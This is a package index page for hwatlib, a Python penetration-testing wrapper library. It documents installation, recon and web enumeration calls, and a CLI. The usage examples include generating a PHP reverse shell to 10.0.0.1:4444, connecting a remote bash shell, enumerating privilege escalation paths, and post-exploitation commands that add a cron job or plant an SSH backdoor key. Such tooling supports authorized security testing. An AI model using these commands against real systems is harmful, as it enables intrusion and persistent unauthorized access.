A practical penetration testing wrapper library for recon, web, exploitation, and post-exploitation.
Project description
hwatlib
A practical pentesting and exploitation library with wrappers for recon, web enumeration, reverse shells, and privilege escalation.
To install, run:
pip3 install hwatlib
Local Development
From the repository root:
pip3 install -e .
Basic Usage
from hwatlib import exploit, privesc, recon, web
# Recon example
recon.init("example.com", add_to_hosts=True)
recon.nmap_scan()
recon.banner_grab()
# Web enumeration
web.fetch_all("http://example.com")
# Exploit (reverse shell)
exploit.php_reverse_shell("10.0.0.1", 4444)
Privilege Escalation
from hwatlib import privesc
# Run various local privesc checks
privesc.run_checks()
privesc.enumerate_sudo()
privesc.enumerate_cron()
privesc.kernel_exploits()
Custom IO / Remote Exploitation
from hwatlib import exploit
# Connect to remote host
remote = exploit.connect_remote("10.0.0.1", 31337)
remote.run_shell("bash")
Web Exploitation
from hwatlib import web
# Fetchers and enumeration
web.fetch_headers("http://example.com")
web.fetch_forms("http://example.com/login")
web.fetch_js("http://example.com")
CLI
After installation, these commands are available:
hwat report <target>
hwat-recon <target>
hwat-web <url>
hwat-exploit <ip> <port>
hwat-post
# State-changing actions are gated behind --confirm
hwat-post add-cronjob "id" --schedule "*/5 * * * *" --confirm
hwat-post backdoor-ssh "ssh-ed25519 AAAA..." --confirm
Unified Report CLI
Generate a read-only report (JSON printed to stdout by default):
hwat report example.com
Write report outputs:
hwat report example.com --out-json report.json --out-md report.md
Sitemap export:
hwat report https://example.com --sitemap-json sitemap.json --sitemap-csv sitemap.csv
Plugins:
hwat report example.com --list-plugins
hwat report example.com --plugin mypkg.mychecks:check
Config / Profiles
By default, hwatlib looks for ~/.config/hwat/config.toml.
Example:
[profiles.default.http]
timeout = 7.5
verify = true
rate_limit_per_sec = 2.0
[profiles.default.http.proxies]
http = "http://127.0.0.1:8080"
https = "http://127.0.0.1:8080"
[profiles.default.http.headers]
User-Agent = "hwatlib"
Select a profile:
hwat report example.com --profile default
Hwatlib is under continuous development and more features for pentesting, recon, exploitation, and post-exploitation will be added.
Safer Defaults
- HTTPS requests verify TLS certificates by default. If you explicitly need to disable verification, pass
verify=False(and optionallysuppress_insecure_warning=True) tohwatlib.utils.fetch_url(). - State-changing post-exploitation helpers require explicit confirmation. For example, use
postex.add_cronjob_confirmed(..., confirm=True)orpostex.backdoor_ssh_confirmed(..., confirm=True).
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file hwatlib-0.2.0.tar.gz.
File metadata
- Download URL: hwatlib-0.2.0.tar.gz
- Upload date:
- Size: 7.5 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.12.3
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
fdbe76c9ed29500956eb77b43256c72d59600ce91975a5f3ca27369a0f7e7202
|
|
| MD5 |
59ceedc2694c8e4505a9085329d205d9
|
|
| BLAKE2b-256 |
fde33a09514ffbeb5fe67a7d3e31b3231a7bff58c2abcb3f95fd41bfac2954ee
|
File details
Details for the file hwatlib-0.2.0-py3-none-any.whl.
File metadata
- Download URL: hwatlib-0.2.0-py3-none-any.whl
- Upload date:
- Size: 2.9 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.12.3
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
7d300cbe205e6ea6cf093788a1ea78e47b3a5d3b98a72d6bac2cb0b28af5472a
|
|
| MD5 |
44624f35ddbd0d2100653d178bbaa6e3
|
|
| BLAKE2b-256 |
1bee0771392424b7cfb7f02906a3c18158a65a0f850b71310837a1ad62df4fe9
|